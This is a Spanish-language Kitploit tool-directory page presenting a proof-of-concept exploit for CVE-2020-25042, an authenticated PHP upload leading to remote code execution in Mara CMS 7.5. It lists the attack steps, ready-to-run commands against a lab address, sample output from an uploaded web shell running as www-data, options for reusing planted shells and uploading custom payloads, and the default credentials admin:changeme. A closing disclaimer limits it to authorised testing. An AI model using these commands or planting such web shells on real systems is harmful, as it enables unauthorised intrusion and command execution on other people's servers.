Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2020-25042-PoC — PoC para CVE-2020-25042: subida automatizada de PHP autenticada a RCE en Mara CMS 7.5, con manejo de hash de inicio de sesión, reutilización de shell, soporte de payload personalizado y salida CLI limpia. | Kitploit
Herramientas/GitHubGitHub/groppoxx/cve-2020-25042-poc
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónRed TeamingDesarrollo de Payloads
GitHubgroppoxx/cve-2020-25042-poc

CVE-2020-25042-PoC

PoC para CVE-2020-25042: subida automatizada de PHP autenticada a RCE en Mara CMS 7.5, con manejo de hash de inicio de sesión, reutilización de shell, soporte de payload personalizado y salida CLI limpia.

Ver Repositorio
5hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2020-25042-PoC

Prueba de concepto para CVE-2020-25042, un problema de subida arbitraria de archivos autenticada en Mara CMS 7.5 que puede conducir a la ejecución remota de código.

El script inicia sesión con una cuenta válida de administrador/encargado de Mara CMS, sube un payload PHP a través de codebase/handler.php y ejecuta comandos mediante el archivo subido.

También reutiliza una shell existente cuando es posible, para no crear un nuevo archivo PHP en cada ejecución.

Lo que hace

  1. Comprueba si la shell esperada ya existe y es reutilizable.
  2. Si es reutilizable, ejecuta el comando directamente.
  3. Si no es reutilizable, carga una página del CMS y extrae shash.
  4. Solicita el salt de inicio de sesión con la acción setsalt.
  5. Calcula los hashes de inicio de sesión de Mara CMS.
  6. Se autentica como usuario válido.
  7. Abre el flujo de subida en codebase/dir.php?type=filenew.
  8. Sube un payload de comandos PHP a través de codebase/handler.php.
  9. Ejecuta --cmd mediante la shell subida.

Requisitos

root@kitploit:~
Python 3.8+

pip install -r requirements.txt

Paquetes de Python necesarios:

root@kitploit:~
requests
urllib3

Inicio rápido

Los valores entre corchetes angulares son marcadores de posición. Reemplázalos con tus propios valores y no incluyas los caracteres < ni >.

root@kitploit:~
python3 cve_2020_25042.py \
  --url <MARA_CMS_URL> \
  --username <USERNAME> \
  --password '<PASSWORD>' \
  --cmd whoami

Marcadores de posición

root@kitploit:~
<MARA_CMS_URL>  # Target Mara CMS base URL. Example: http://target/cms
<USERNAME>      # Valid Mara CMS admin/manager username.
<PASSWORD>      # Valid Mara CMS admin/manager password.

Ejemplo completo

root@kitploit:~
python3 cve_2020_25042.py \
  --url http://10.129.96.20/cms \
  --username admin \
  --password changeme \
  --cmd whoami

Salida de ejemplo:

root@kitploit:~
[2026-05-17T23:32:31Z] [*] Checking existing shell: http://10.129.96.20/cms/img/mara-poc.php
[2026-05-17T23:32:31Z] [*] Loading Mara CMS page and collecting session data
[2026-05-17T23:32:31Z] [+] Found shash: 9552
[2026-05-17T23:32:31Z] [*] Requesting login salt
[2026-05-17T23:32:31Z] [+] Got salt: 4253
[2026-05-17T23:32:31Z] [*] Logging in as admin
[2026-05-17T23:32:31Z] [+] Login successful: OK:5
[2026-05-17T23:32:31Z] [*] Opening upload form
[2026-05-17T23:32:32Z] [*] Uploading PHP payload as mara-poc.php
[2026-05-17T23:32:32Z] [+] Upload request completed
[2026-05-17T23:32:32Z] [+] Shell URL: http://10.129.96.20/cms/img/mara-poc.php
[2026-05-17T23:32:32Z] [*] Executing command: whoami

[+] Command output
MARA_CVE_2020_25042_OK
www-data

Reutilizar una shell existente

Por defecto, el script usa un nombre de shell estable:

root@kitploit:~
mara-poc.php

En la siguiente ejecución, comprueba:

root@kitploit:~
http://target/cms/img/mara-poc.php

Si la shell responde con el marcador esperado, el script omite el inicio de sesión y la subida:

root@kitploit:~
python3 cve_2020_25042.py \
  --url http://10.129.96.20/cms \
  --cmd "ls -la"

Para reutilizar una shell creada con un nombre aleatorio anterior:

root@kitploit:~
python3 cve_2020_25042.py \
  --url http://10.129.96.20/cms \
  --shell-name mara-poc-jxfizldy.php \
  --cmd whoami

También puedes pasar directamente la ruta de la shell expuesta:

root@kitploit:~
python3 cve_2020_25042.py \
  --url http://10.129.96.20/cms \
  --shell-url-path /cms/img/mara-poc-jxfizldy.php \
  --cmd "ls -la"

Solo subida

Sube el payload sin ejecutar un comando:

root@kitploit:~
python3 cve_2020_25042.py \
  --url http://10.129.96.20/cms \
  --username admin \
  --password changeme \
  --upload-only

Banderas opcionales

root@kitploit:~
--page <PAGE>
   Existing CMS page used to bootstrap login and extract shash. Default: lorem.php

--shell-name <NAME>
   PHP filename to upload or reuse. Default: mara-poc.php

--shell-url-path <PATH_OR_URL>
   Explicit shell path or URL to reuse.
   Example: /cms/img/mara-poc.php

--payload-file <FILE>
   Upload a custom PHP payload instead of the default ?cmd= shell.

--destdir <DIR>
   Raw destdir value sent in the upload form. Default leaves Mara CMS using img/.

--force-upload
   Always login and upload, even if a reusable shell already exists.

--upload-only
   Upload the payload but do not execute --cmd.

--only-final
   Hide progress logs and print only command output.

--no-color
   Disable ANSI colors.

--debug
   Print request URLs and short handler response snippets.

Notas

  • El exploit requiere una sesión válida y autenticada de administrador o encargado de Mara CMS.
  • Las credenciales predeterminadas de Mara CMS pueden ser admin:changeme en instalaciones de prueba sin modificar.
  • El payload predeterminado imprime MARA_CVE_2020_25042_OK antes de la salida del comando.
  • La ubicación de subida predeterminada observada en Mara CMS 7.5 es img/.
  • Reutiliza la shell siempre que sea posible para evitar dejar muchos archivos PHP en el objetivo.
  • Usa --force-upload solo cuando necesites sobrescribir o recrear el payload.

Aviso legal

Este PoC está destinado a pruebas de seguridad autorizadas, entornos de laboratorio y verificación de vulnerabilidades. No lo utilices contra sistemas sin permiso explícito.

Descargar herramienta